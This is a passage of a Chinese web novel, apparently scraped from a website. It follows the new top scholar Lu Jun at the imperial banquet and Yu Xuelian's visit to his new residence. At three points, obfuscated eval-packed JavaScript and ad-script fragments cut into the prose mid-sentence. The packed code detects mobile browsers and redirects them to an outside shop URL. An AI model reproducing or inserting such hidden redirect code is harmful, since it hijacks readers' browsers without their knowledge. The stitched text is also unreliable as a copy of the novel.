有圣上御赐的状元袍服加持，又有一对簪花。陆隽的脸虽冷着，可满街仅他一人着红衣，惹得观望的百姓互相议论着，说他才貌双全，丝毫看不出他是穷苦人家的。 乱花迷人眼，几个仕女站在茶楼的窗台边。戴吉祥如意簪的女娘弯着腰，脑袋往窗外伸，道：“这状元郎是要去赴琼林宴了吧？” “是，我兄长今日清早就去了皇宫。” “韵娘，你兄长是不是很失落？他在国子监跟关先生那么努力地读书做功课，却只得了个榜眼。” 梁韵坐在房内吃果子，哼笑道：“我兄长能不失落吗？换作是你，你会甘心输给一个穷酸书生？” 女娘不乐意道：“梁韵，你出府是吃辣椒了吗？我不过问你一句，你犯得说这话噎我吗。”她扭头瞪着梁韵，“我父亲说，不管状元郎以前多落魄，陛下已经赏了他三进三出的宅院，白银百两，胜过金陵的那些商贾，你怎能说状元郎穷酸。” 梁韵被激得有些恼了，她站起身，说：“那又如何？我兄长是不走运，否则哪轮得上陆隽骑马游街！李桢，你别一天到晚地给人添堵，扎人心窝子。” “你兄长花天酒地，绣花枕头似的，有辱门楣。有这功夫，你怎么不去扎扎你兄长，把他那滩烂泥扶上墙呢。” 李桢笑道：“我承认我兄长绣花枕头，是滩烂泥。那你承认你兄长好高骛远，是个伪君子吗？咱们心知肚明，你兄长和淮阳郡主有婚约在身，他还妄想当状元，他难道不清楚陛下要状元郎做淳安公主的驸马吗？” “你住口！”梁韵何曾受过这样的气，两手一推，桌案上的茶水糕点滚落下去，摔得叮当响。 趴在窗台嬉笑的女娘一惊一乍，她们说好是今日来吃茶看状元郎的。 这李桢一张嘴不饶人，非要得罪梁韵，她们若是坐视不理，这两人恐要把厢房砸得稀巴烂。 “李娘子，你让着些韵娘，莫要跟她说玩笑话了。” “韵娘，咱们不和李娘子一般计较，她就惯爱跟人斗嘴，小孩脾气。你何必与她较真儿。” “你们适才是在说琼林宴吗？我父亲便是负责办琼林宴的。陛下今日不去宴席，说让状元郎他们放松放松，把酒言欢。这宴席管得不宽，像淮阳郡主她们，都能去凑凑热闹。” 李桢看梁韵有人哄着，横竖状元郎她也瞧见了，她道：“你们在这儿热闹，我回府去遛狗。” “李娘子，你不想去琼林宴吗？” “我不去，省得梁韵发疯把琼林宴给毁了。到时再讹上我，弄得我一身晦气。” 问李桢的女娘无奈地撇撇嘴，李桢话糙理不糙，琼林宴可 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不能胡闹。 茶楼下的百姓意犹未尽，但状元郎骑马去了皇宫，他们就断断续续地散了。 …… 琼林宴上，繁花似锦。 内官搬来圣上赏赐的“诗”“书”“袍”“靴”，摆在高台。新科进士连同状元郎在席位坐着，今日圣上虽不在此，但内官说了诸多的话语。 “陛下有言，琼林宴上不用讲究繁文缛节，叫各位郎君尽兴吃酒。”何公公手拿拂尘，气虚不足地说，“有若酒不够了，自有侍女来添。” 何公公说的都不是要紧话，席间的郎君们彬彬有礼地说：“有劳公公。” “郎君言重了。”何公公笑道，“各位已是为官了，奴才们也是奉圣上的旨意来伺候各位大人的。” 言毕，何公公拍了拍手，带着内官下去。 走到一半，他碰上淮阳郡主带的女眷。 “何公公，你这是去哪儿？”淮阳郡主穿一袭妆花织金蓝缎裙，脸上敷淡妆，勾唇笑道，“本郡主赶的是时候么？那状元郎可到了？” 何公公躬身道：“淮阳郡主，你赶得正是时候。”他余光看着淮阳郡主带的女眷，然后说：“郡主这是来找梁小公子的吗？” 淮阳郡主和国公府的小公子早有婚约，本是一桩佳事，可惜郎君无情，女娘也无意。淮阳郡主刚烈率直，一上来就问状元郎，显然是没把小公子放在眼里。 婚事是陛下赐的，淮阳郡主到琼林宴，若不是冲着小公子来的，那便是冲着状元郎来的。 “本郡主不找他。”淮阳郡主斜了何公公一眼，道，“何公公，麻烦给本郡主让一条道来。” 南郢历来准许女眷参与琼林宴。何公公神态复杂地望向不远处的楼阁，今儿个贵妃娘娘和公主也在，看淮阳郡主的架势，他有必要去贵妃娘娘那里禀报一声。 何公公麻利地让路：“郡主，请。” “郡主，我们不妨在这凉亭坐着，让侍女端来一壶茶，两碟芙蓉糕就好。” 温昭怯步而止，琼林宴她是头一回来，郡主昨夜才差人送帖子，说要请她到琼林宴吃茶看状元郎。 姐姐跟母亲去红螺寺烧香，一时回不来。她思忖了半夜，想着找虞娘子给她做个伴。 虞雪怜岂会不答应温昭？当即跟温昭坐了马车去淮阳郡主的府上。 淮阳郡主扶额说道：“温昭，与其在这凉亭待着吃茶，还来琼林宴作甚？你不想瞧瞧状元郎吗？” “我……我，依郡主的。”温昭支吾地说。 虞雪怜挽住温昭的胳膊，低声道：“昭娘，别紧张。” 温昭点点头。 淮阳郡主的侍女在前边带路，虞雪怜则和温昭并肩走着。 琼林宴的气息文雅，往常那些酒肉池林、纨绔子弟变着花样办的宴会，两者不能相提并论。 “陆状元，在下敬你一杯。”梁德海鼓起劲来陆隽跟前说话，“你写的文章，先生让我读了。” 在国子监，平素是别的监生夸赞他的文采，对他讲恭维话。要让他恭维陆隽，梁德海又有些说不出口，他举起酒盏，先饮了一口，说道，“在下读了你的文章，深感佩服，当之无愧是状元。” 陆隽默然，自斟了一杯酒，回敬梁德海。 他不善回旁人的夸奖，只道：“谬赞了。” 梁德海力不从心地轻笑。他没想过，有朝一日，有人在他面前轻描淡写地说出谬赞二字。 62. 宅邸 虞雪怜她们一行人到宴席上，侍女请她们入座。 席间忽然来女眷，不在金陵长大的男子难免拘谨，他们声音本就不大，因而变得更小了。 淮阳郡主一眼便盯上梁德海，见他对领座的男人一脸苦笑，她起了兴致。能让梁德海有如此半死不活的表情，除了状元郎，怕是没有别人了。 虞雪怜和温昭只顾接下侍女递来的茶盏，来这里无非是看一看新科进士的样貌，再其次，琼林宴安排的女眷席位和他们相隔八丈远。即使挨得近，也要注意保持些距离。 温昭悄悄问道：“那位，是状元郎吗？” 虞雪怜这才去看陆隽。 陆隽端坐在首位，她不禁失神。他的身影背对着她，一如当年他穿着首辅的官服，冷冷清清的坐在席位上——原来他当状元的时候，便是如此了。 温昭很快收回目光，道：“虞娘子，我们吃茶吧。”她好奇心不重，瞧一眼就了事。 虞雪怜应了声好。 换做是上辈子，温昭会想办法地拉着她找个视线极佳的位置坐，一本正经地和她讲陆隽的厉害之处。 温昭说，在教坊司的日子太苦了，若是不学会排解烦恼，早晚要寻死，那父亲的仇，何时能报。 虞雪怜也是这样想。 “虞娘子，”温昭的手在虞雪怜的眼前晃了一下，“我们待会儿找了借口离席，我母亲在赋华衣订了几匹布料做褥裙，我原本打算找个日子和你一同去挑选。看时辰还早，不如今天去。” 不知怎么，她觉得和虞娘子很是投缘。若和别的娘子坐着吃茶，干巴巴的说两句话，笑容勉强，坐一会儿就想回府了。能互相倾诉体己话的娘子，更是没有一个，温昭先前无论如何也料不到，她会和虞雪怜关系紧密。 虞雪怜思绪回笼，道：“等吃了这杯茶，去跟郡主说一声。” 她们说话的工夫，淮阳郡主已经去了梁德海的席位上。 梁德海视而不见，起身去和曾在国子监读书的男子闲谈阔论。 “梁兄，你刚才跟那状元郎搭话，他居然高傲地不把你当回事。”翟佑轻蔑地看着陆隽，说，“他以为成了状元，便可一骑绝尘了吗？” “翟佑，别说这些小肚鸡肠地言语。”梁德海郁闷地斟酒，饮下，辛辣的味道直窜喉咙。他拎起酒盏打量，道，“何公公带的是什么酒？我记得父亲说过，琼林宴要用气味香醇的陈年酿酒吗？为何我闻着刺鼻。” 翟佑扑哧笑道：“梁兄莫不是喝醉了，此酒的气味是我饮过最香醇的。” 他二人此刻坐在陆隽的斜对面，其余的进士小酌了几口，逐渐放得开了。 唯陆隽一人独自饮酒。 淮阳郡主在梁德海的位置上坐了片刻，倒没说什么。她嫌无聊，问侍女要来一壶酒，就离座走了。 陆隽并不知晓虞雪怜也在琼林宴上，他也不知晓这宴会有何用处。但总要等有人发话，道清楚可以退席了，方能脱身。 “陆状元！”翟佑撺掇周围的人去给陆隽敬酒，假意笑道：“恭贺你夺得状元，我们几个敬你一杯。陛下虽然尚未给我们分配官职，可我们互为同僚却是事实，往后请陆状元多多指教了。” 皆是读书人，他们有秩序地向陆隽敬酒。 他们围成一个圆圈，陆隽慢条斯理地从席位上起来，道：“指教谈不上。” “陆某回敬诸位。” 陆隽一饮而尽，待他饮完，不断有酒盏凑近他。这其中或许有人是实实在在地想跟陆隽交好，然翟佑并不服气陆隽此人，是以铁了心要灌醉陆隽。 “我听闻陆状元在家乡有十亩良田，着实让我吃了一惊。我平常在国子监读书跟坐大牢似的，想出去游览金陵的山川湖泊都不得空。”翟佑感慨道，“所谓人外有人，天外有天。陆兄这状元郎，是名副其实。” 陆隽掀起眼帘，注视着翟佑。他这些年来在客栈做工，见过不少像翟佑的公子哥，外表斯文，其内腐烂。 他大多是沉默以对。 翟佑被陆隽盯得浑身不舒服，嘴巴一扯，笑道：“陆状元，是我说错话了吗？” “没说错。”陆隽回道，“陆某把十亩良田卖了，银两用来读书。” 陆隽回答得干脆，以至于翟佑接不上话，许多双眼睛和耳朵在听着看着，明面羞辱陆隽肯定不行。他叹息怜悯道：“那陆状元走到今日，来之不易。” 梁德海插话道：“好了，翟佑。酒既敬完了，便回座罢。” 远处的楼阁，侍女放下纱幔，但依然隐约看得到琼林宴上的男子。 “淳安，你瞧那状元郎，和往年的不一样。”崔贵妃躺在美人榻上，细眉弯弯，问道，“你可看得出他似乎不受待见？” 淳安公主摇头说：“母妃，他们全去给状元郎敬酒了，你何以说他不受待见？” “全去敬酒，那状元郎是读书人，倘若他喝醉失态了呢？”崔贵妃笑道，“不过我看状元郎并非善类，不会吃亏。你父皇总算是挑了个好苗子，如果要母妃说，他唯一的缺陷是年纪稍大了些，真是恼人，足足大了我女儿八岁。” “母妃，你说什么呢？”淳安扑进崔贵妃的怀里，撒娇道，“女儿才不愿意嫁给他，坐在那里半天，像傻瓜哑巴。” 淳安其实看不清陆隽的长相，他的身形修长，体态端正。若母亲不说，她看不出陆隽年长她八岁。 崔贵妃揉了揉淳安的脸，说道：“你父皇是把你惯坏了，陆隽是傻瓜哑巴，那南郢岂不是一个聪明人也没有了？” “母妃作不了你的主，选谁做驸马，要看你父皇的意思。” 淳安语气委屈：“女儿明日去见父皇，不准他给女儿选驸马。” 崔贵妃说道：“你当真不愿选陆隽做驸马？他这人是冷淡了些，可本宫的眼光错不了，底下的那群郎君，属他最依靠得住。剩下的郎君，高不成低不就的。” “你父皇有意要提拔陆隽，他的本事若像他写的文章一般，不出三五年，晋升至四品文官，不成问题。” 景元帝宠爱崔贵妃，视淳安公主为明珠。他今天安排她们母女在楼阁观赏琼林宴，跟崔贵妃交代了，若淳安对哪个郎君顺眼，择日就挑吉时赐婚。 淳安左耳朵进，右耳朵出，搪塞道：“母妃，儿臣听不懂你的话。” 崔贵妃侧目望着纱幔，道：“罢了，回去我劝劝你父皇。” “你想不想下楼去看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13890004|131724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看？”崔贵妃说，“你淮阳姐姐也在，跟母妃在这阁楼坐了这么久，下去找淮阳解解闷。” * 虞雪怜陪温昭离席去赋华衣拿料子。她们在丰乐楼用了午膳，又说了一会儿的话，才各自回府。 她今儿个起得早，进了兰园就回厢房歇息了。 翌日，约莫到该用晚膳的时辰，丁管家到兰园送了一封信。 “娘子，送信的小厮面生，我问他家主子是谁，他说他是受人之托，帮人送信来的。”丁管家有条不紊地说，“我怕这封信是什么登徒子写的，一开始执意不收，叫他哪来的回哪去。那小厮死活不走，他说娘子对这人有恩，这封信只是个道谢信。” 虞雪怜接过信封，却迟迟不拆开看，“丁管家怎么又收下了？” 丁管家琢磨道：“我观察这小厮不是市井泼皮来的，倒像大户人家的奴仆，我不想难为他，就收下了。”他语重心长地说，“娘子，不管这封信是不是道谢的，你看完便撕了它，咱们要有防备。若是登徒子写的，老夫定饶不了那小厮。” 虞雪怜道：“丁管家说的，我明白。” 丁管家出了厢房，虞雪怜把信封撕开，笺纸上只写了熙南路陆府——是陆隽的字迹。 虞雪怜想，这便是圣上赐给陆隽的宅院。 她低笑出声，陆隽竟会吩咐小厮把信封送到镇国将军府，人一旦有了权势和地位，腰板就跟着硬了，做事也不畏手畏脚的了。 虞雪怜没有即刻就去熙南路，她考虑到陆隽初入朝堂，状元郎的名声鹊起，暗处有眼睛盯住他不放。 若是让有心之人遇着她和陆隽，指不定要传出流言蜚语。 …… 这一日，金陵城细雨绵绵，虞雪怜撑着油纸伞去了熙南路。 “娘子，陆公子的宅院！”金盏随虞雪怜一道出府，她环视一番陆隽的宅邸，说，“娘子，陆公子这里清幽静谧，也没个护卫守着。” 虞雪怜说：“他喜静，何况今日下雨，护卫或许在院里。” “奴婢去敲门。”金盏踩着台阶上去，连敲了两下大门。 很快，小厮推开门，见门前站着两个女娘，恭恭敬敬地请她们进府。 “主子还没回来，娘子是要去正厅吃茶，还是想去府邸别的厢房逛逛？”小厮一手拿着油纸伞，给虞雪怜撑着，“主子说，若娘子来了，可随意在府邸走动。” 小厮来陆府做事有整整五天了，他主子对他说的每句话，一巴掌就数得清。 且那封信是他送去镇国将军府的，主子又再三叮嘱他，倘虞姑娘过来，要不遗余力地伺候她。 小厮不笨，当然知悉虞姑娘是贵客，以及，很有可能是他主子未来的夫人。 虞雪怜说：“我在正厅等着。” “那奴才去给娘子煮茶。” 小厮忙前忙后，嘴巴更不闲着：“主子估计要过一个时辰回来，娘子想喝什么茶叶？” 虞雪怜对这热情招架不住，她笑道：“你煮拿手的茶叶吧。” 小厮取出事先准备好的茶叶，道：“那奴才就煮黑茶了，我前阵子给主子购置物件，问主子眼下有没有缺的东西，他只吩咐奴才买些黑茶回来。” 63. 气息 正厅的陈设崭新，桌椅摆放地规规矩矩。小厮穿交领长衣，煮茶的动作倒是能看得出他有些功夫。 这府邸从外来看，也是富贵别致的，但仅小厮一人忙活，总归不大得体。 “娘子，茶煮好了。”小厮奉茶过去，这会儿才想起报自己的名，“奴才观言，在陆府做事有五天了。” 观言站在一边，不卑不怯地保持微笑。大抵是有个状元郎做主子，不敢做出有失脸面的举止。 主子新官上任，在礼部当差，且有这么一个状元郎的头衔，少不了要跟同僚赴宴吃酒。是以这些天以来，来陆府做客的官老爷也有几位。 饶是观言不清楚虞雪怜具体是何身份，可主子不在，若让贵客冷冷地坐在正厅等候，他就辜负主子所托了。 虞雪怜捧着茶盏轻啜一口，她道：“你若有事要忙，便去忙。陆公子既一时半刻回不来，你也不必在此候着。” 观言笑道：“回娘子的话，奴才今日无事要忙。”他接着解释，“今日不巧，府邸剩我一人。主子搬进新宅没几天，府邸的人手不够，郑管家去买家仆了，若娘子觉得闷，不若奴才带您去院里逛逛。” 春雨停歇，屋檐上的水滴顺流而下。 “那有劳你带路了。”虞雪怜把茶盏放案边，她未时出的府，最多等一个时辰，若陆隽不归，她只好改日再来。 “娘子客气。”观言躬身说。 金盏则紧随着虞雪怜。这小厮的态度活像是把娘子当做他们陆府的夫人，又是解释他们府邸为何冷清，又是向娘子请教院落要怎么布置花坛。 “这是主子的书房。”观言推开房门，笑说道，“奴才清早刚给主子收拾完，别的厢房都空着，除了桌椅板凳，没什么能让娘子把玩的。” 观言请虞雪怜进书房。房内两个书架，桌上有一盏熄灭的蜡烛，想来是陆隽夜里读书用的。 金盏也不拘着了，弯眉说道：“你这话挺有意思，别的厢房空着，书房却有给娘子把玩的东西？” 观言应道：“主子跟奴才交代了，书房有些读着新鲜的书籍画册，可拿来打发时间。”他拎起茶壶一晃，说，“奴才再去灌点茶水，娘子先随意挑着看看。” 虞雪怜点头，看观言出书房后，她去瞧了书架，是有一列放着早年间的画册。 “娘子，难为这小厮体贴入微。”金盏鲜少和虞雪怜去别的府上作客。待在镇国将军府久了，一时见观言这样眼里有活，不让自个儿闲着的家仆，感慨不已，“咱们府邸的瑞秋，成天缩在伙房睡懒觉。我若是找他办事，半天得不着他一句准话，真是要把人急死。” 虞雪怜翻着画册，左右不过是南郢的名山名水，奇珍异宝。 “他是柳姨娘房里的小厮，你去使唤他，他肯定敷衍了事。”虞雪怜往前走着，问，“我母亲的那几个小厮，也不听使唤吗？” 金盏说：“夫人给他们都吩咐了差事，天天不见人影。”她咕哝了一句，“奴婢是发发牢骚，看不惯柳姨娘房里的小厮耍威风。” 这一面书架背光，勾起虞雪怜那天担惊受怕的记忆。还好现在的陆府里里外外就有三个院子，即使有外人来，也无须担忧。 虞雪怜的目光停在一本书脊写有‘西厢’二字的，几乎不犹豫地把它拿下书架。 这两个字特别显眼。金盏凑过去瞟了一下，她容颜失色，噤声看着娘子，却只当作看不懂这本书是何物。 她们府邸有四间书房，不论哪一间，老爷绝不允许这等读物出现在他眼皮子底下。金盏不明白，陆公子读得不是圣贤书吗？书房怎么藏有不入流的东西。 虞雪怜漫不经心地翻阅，她想象不到，陆隽读此书会是什么表情—— 房外传来走动的声响。 陆隽进书房便看到虞雪怜站在书架前，她侧对着他，低头掀着书页，很入神地模样。 金盏回头望见陆隽着青色官袍，虽未戴官帽，可站在那儿就足矣让人生畏了。 “陆……陆公子。”金盏福身说，“奴婢见过陆公子。” 虞雪怜侧目而视，概因陆隽褪去了粗布衣衫，腰间也多了一块圣上御赐的司南玉佩，他身上的气息更接近上辈子了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13957813|131724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她手里的《西厢》还没合上，金盏忙说：“陆公子，娘子。我去问观言要茶去。” 房门开着，陆隽缓步走向虞雪怜，语气如常：“礼部侍郎交给我几篇公文编修，回来的迟了。” 陆隽初到礼部，做的是格外表面的事。点卯要按时，同僚若邀他去吃酒，天黑方能回来。 今日他拒了翟佑的邀宴，一心处理完礼部侍郎交给他的公文，就赶回府邸。 虞雪怜反应快，她不慌不乱地把书塞回去，笑道：“陆公子回来的不迟。” “虞姑娘在看什么？”陆隽问。 “我随便找了一本书籍。”虞雪怜有些许故意，眼神飘向那本令人脸红的《西厢》。 她原听说过此书，南郢的文人墨客对此书褒贬不一，要夸赞文采，自是不凡。可偏偏部分片段过于香艳，加之市面上掺杂了跟《春宫图》搭配的话本故事，满篇不堪入目，引得登徒子哄抢。 此书的名声，便跟着遭殃。 陆隽很清楚书架的哪些位置放了哪些书，他抿唇道：“这书架并非都是圣贤书。” 虞雪怜问：“除了圣贤书，还有什么书？” 她若不抬眼看陆隽，视线只可看到他官袍的圆领。这一身官袍，提醒着她，陆隽此刻已经做官，随即带来的是规行矩止，和不得横跨的一条横沟，一条以正身明法为名的横沟。 是了，做官的人，一不得贪图荣华富贵，二不得徇私枉法，三不得沉迷风月。 起码上辈子的陆隽，做到了两点。他仅是贪图权力罢了。 至于那本书……似乎也不能代表陆隽沉迷风月。 虞雪怜稍微抬起眼帘，陆隽的嘴唇也生得极好，她想他的嘴唇一定不是冷的，应该是温热的。 她笑着问道：“还有教导男女之别的书吗？” 陆隽垂首，发觉她在看他的嘴唇。 她问得露骨，语调轻快，显然明白他所指的是什么。 陆隽的心重重地一跳，嘴唇随着发烫，像是有无数擂鼓在他心上敲打。他该把那本书扔掉或撕毁，是他疏忽大意了。 64. 香囊 虞雪怜见陆隽迟迟不应她的话，唇角压不住笑意。原来陆隽面对这种事，竟也束手无策。 女子的小心思简单明了，陆隽只看她紧抿泛红的唇瓣，便知她在忍笑。 “虞姑娘在书房等了多久？”陆隽问。 “刚翻起书看，陆公子就回来了。”虞雪怜的言外之意是不久，那书她大略看了一两页，若不是念及保持女儿家的矜持，她很想问陆隽借阅此书。 在市面上不容易买到这本书，她同样很想问陆隽，此书在哪买来的。 站在这里总归不是回事，她与他彼此熟悉，客套话更是不用说。 陆隽的书案摆了一张棋盘，虞雪怜随他落座，她执一颗白棋放上，轻声问道：“陆大人在礼部，可还适应？” 虞雪怜改口唤他陆大人，陆隽执黑棋的手一顿，道：“还好，陆某没什么不适应的。” “我爹爹说，圣上让你去了礼部任职。”虞雪怜原先不常和陆隽提官场上的事，蜻蜓点水似的一问，“陆大人在礼部担任的是什么？” 陆隽答道：“陆某担任礼部主事一职。” 同陆隽一起进礼部的还有翟佑，翟佑不过是进士，在礼部担了个清闲的官儿。翟佑父亲又是吏部尚书，翟佑在国子监被管束的厉害，如今出了笼子，有父亲照拂着，便以戏弄陆隽为乐。 翟佑拿着写错的公文让陆隽帮忙撰修，然左一句这里用词不恰，右一句那里措辞不当。跟翟佑关系好的不敢明面张扬笑话陆隽是贫穷人家的儿子，但对他面露嫌弃之色，嗅着鼻子说礼部有一股穷酸味。 虞雪怜执的白棋紧扣着陆隽，可却无意欲去吃他的棋子，她道：“我在府邸鲜少听爹爹讲这些，那日我母亲跟爹爹谈论你，才知晓陆大人去了礼部。” 陆隽却也依着她，几个来回都绕过她的棋子。 接连两三个酒局下来，陆隽在礼部并未结交到知己好友，他们大多是成了亲的，除去聊朝政，再者便是宅院闲事。 他看着虞穗每走一步棋，眉头下意识地拧成一团——尽管这盘棋毫无章法。 “陛下昨日批了礼部尚书的奏折。”陆隽提棋，骨节分明的手跨越他方才布的棋局，落入虞雪怜那片白棋，“奏折跟临川侯问斩一事有关。” 虞雪怜手掌合拢，陆隽的这颗黑棋赫然是送她的。 而他又忽然说起临川侯的事……虽然她也好奇圣上要怎么处理这事儿，毕竟从去年拖到今年，转眼要立夏了，临川候问斩的日子仍没定下。 虞雪怜嘴唇嗫嚅，按住陆隽的手，把黑棋放回他手里，“陆隽，我不要你送的棋。” 本来这盘棋就是下着玩的，也不必分胜负。她说道：“临川侯问不问斩，跟我没关系。” 陆隽道：“虞姑娘何以觉得这是陆某送你的棋？” “落子无悔。”陆隽手腕带着雨后的湿凉，他把黑棋归还原位，“至于临川侯，那夜我和吴煦去他的别院拜访，虞姑娘为何要带我上马车？” 他到底是戳破这层被虞雪怜糊着的窗户纸，事有因果，他要问明白。 虞雪怜猝不及防地对上陆隽的眼神，有一瞬的不知所措。他从不过问她私事，今日他这么问，可见他早前便有此疑惑。 “袁丞和临川侯做的那些勾当，我知道一二。”虞雪怜坦诚地说，“那夜我想去瞧瞧，偏巧碰见你和吴大人。我不想让你卷进去，便吩咐马夫去叫你。” 陆隽既问了她，其实他心里已有了答案。 虞雪怜眼眸清澈，手指摩挲着那颗黑棋。她两腮是淡淡的杏色胭脂，衬着今日穿的鹅黄褥裙，胸前坠着一串璎珞。 她笑问道：“陆大人是不是觉得我行事莽撞，不守规矩？”她继续执白棋，“若陆大人见了我尚未及笄的那几年，我这手掌，怕是要挨陆大人许多次的罚。” 陆隽凝视她良久，道：“不会。” “不会什么？” “不会挨罚。” 陆隽话语简短，目光沉沉地看着她。他为年长者，即使她尚未及笄时性子骄纵，他也无权去罚她什么。她很聪明，亦善读书，似乎也藏了不少事。 “陆大人，外边又下雨了。” 言毕，虞雪怜瞥见陆隽手指上染的墨迹。她回想上辈子陆隽在礼部受挤兑——现在便开始了吗？ 这盘棋局实在无处可下了。虞雪怜思忖着，道：“陆大人，那天的琼林宴，我随温昭姑娘和淮阳郡主去了。” “我倒认得宴上的几个进士。翟佑他欺软怕硬，仗着父亲的势力去的国子监读书，最爱使唤人。这里面要属梁德海要好一些，心气是高了点，但他人不坏。”虞雪怜想借此提醒陆隽，可说多了显得奇怪，难免要拐弯抹角。 陆隽嗯了一声，道：“我知晓了。” 他从书案的抽屉拿出一张画纸，呈给虞雪怜，道：“陆某不懂宅院布局，管家问我要购置东西的明细，虞姑娘能否帮我？” 虞雪怜接下画纸，是陆府宅院的布局图。她干脆地应了这件事，随即坐在书案前，拿纸笔写各个院子和厢房需要的物件。 “陆大人，你平日喜欢什么熏香？”虞雪怜边写边问，她意识到陆隽没用过熏香，改口道：“陆大人闻得惯檀香吗？红螺寺的那种香味。” 陆隽坐在书案一旁，他说：“闻不惯。” “那……”虞雪怜犯了难，她母亲在厢房放的熏香便是诸如檀香的味道。别的熏香她也用过几种，但不确定陆隽会喜欢哪个。 她单手撑脸，认真凝神思考。 陆隽见她为难，欲要说按她喜欢的来。他还没开口，眼前却出现一只香囊。 “陆隽，你闻这个如何？” 虞雪怜递过去的是一只葡萄花鸟纹银香囊，其内装的苏合香。母亲说这香囊是她年幼就带在身上的，它气味闻着不腻，没有檀香那般清幽。 陆隽迟疑须臾，他把香囊放在鼻尖。 香囊是凉的，可放在他手心，却像是被火烤了。一阵阵浓郁的，带有女子身上方有的气味，扑进鼻腔。 她送他的那张绣有芍药花的丝帕，气味也是如此。 陆隽回道：“这个香料，陆某买不到。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997328|131724||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >虞雪怜诧异：“苏合香，金陵城几家铺子都卖，买得到。” 陆隽起身，道：“有劳虞姑娘把它写上。” 房外的雨盖过他的声音，这场雨变得冲撞鲁莽。 陆隽的身影映在书案。虞雪怜被这场雨的猛烈而吸引，她手中捏着毛笔，窗纸被雨淋得快要破了，金陵城也下过这样的大雨，所幸今日不刮风。 虞雪怜回神看向陆隽。他周围像是萦绕了一团烟雾，她顺着他的视线，恍然发现他也在看她的嘴唇。 或许是心照不宣，她思绪又飘在那本书上。 陆隽鼻尖的香味未散，书中零零碎碎地片段涌现。致使他想覆上那两片唇瓣，便是所说的吻，对心悦之人。 然而，他不能这么做。 “虞姑娘写完了吗？”陆隽问。 虞雪怜摇摇头。暗暗想着是她误会陆隽了，她以为他看她的嘴巴，和她想的一样。 原是在等她写完明细。 * 正厅那边，金盏看雨势渐大，担忧这场雨停不下来。 “姑娘，春雨来去匆匆的，我瞧再等半个时辰，就能停了。”观言重新煮了一壶茶，道，“冒昧问一句，娘子可是镇国将军府的？” 金盏说：“上次给我家娘子传信的小厮，不是你？” 观言摆了摆手，笑道：“不是我，若是我送的，我也不会问姑娘了。” 金盏颇是欣赏：“这么说来，你们府邸的小厮不会聚着讲闲话吗？” 两人在正厅你一言我一语的，熟络起来。观言熄掉煮茶的火，挪了椅子，道：“姑娘别看我家主子静悄悄的，可是个讲规矩的。他吩咐我们在府邸无事歇着，莫要聚在一起，郑管家呢，在府邸就教我们，能动手干活便不要动嘴说话，不然就回房歇着去。” 金盏噗嗤道：“你这意思，是觉着憋屈吗？” 她在夫人房里耳濡目染，不认为守规矩是件死板的事。若是府邸不讲规矩，小厮插科打诨，窝在一块儿打牌吃酒，成何体统？ 观言忙解释道：“姑娘，奴才不是这个意思。有这件差事做，奴才做梦都高兴，主子乃是状元郎，跟其他小门小户的老爷不一样。他体恤奴才，府邸的伙食又好，我若觉着憋屈，那不是得寸进尺，喂不饱的白眼狼吗？” 他能遇着主子，在陆府做小厮，真是天大的美事了。 金盏看观言也好相处，为人靠谱。她小声问：“你家主子的爹娘呢？” 观言愣了一下，结巴地说：“我家主子的爹娘不在了。” 金盏不禁跟着发愣。陆公子无父无母，若娘子嫁过来了，没有婆母和公公，那夫人跟老爷心里会不舒坦的。 “你这茶煮好了吗？”金盏说，“把这茶壶给我，我去给娘子和陆大人送去，等雨停了，我们也该回府了。” 观言道：“我送茶，姑娘在这里歇着。” “罢了，我给你打伞，这雨下得大，若不打伞，你淋个落汤鸡不说，这茶就跟着毁了。” 金盏撑开她和娘子带的油纸伞，跟观言出正厅，往书房去了。 65. 商量 陆府三进三出的宅子，客房不必摆无用的物件。 陆隽住在前院的东厢房，久住的厢房，用得到的东西较多。 虞雪怜按着兰园的布局，写了半页纸的明细，像屏风、立柜的花纹图样，她一一问了陆隽的喜好。 她没管过自家园子里的采买，但嬷嬷们曾有几次来兰园问母亲，哪家商铺做的物件靠谱，哪家卖的茶具材质上乘。 虞雪怜停笔，反复看着明细，确认没有遗漏的，遂递给陆隽。 书房的门本就开着。金盏撑伞和观言到了房外，因着书案在最里边，他二人瞧不见人影，金盏便开口问：“娘子，陆大人，你们……在房里吗？” 观言端着茶壶，暗自腹诽，这雨下得大，主子应该不会跟小娘子去别的厢房。 “在房里。”陆隽声音不冷不淡。 细雨急缓，书房门前积了一地的水，观言用脚赶了赶，说：“主子，茶煮好了。” 金盏没敢接话，她陪着娘子到人家的府邸作客，少言少语总不会出错。 陆隽的语气照旧，惜字如金地说：“进来。” 观言应了声是，旋即进书房把茶奉上。 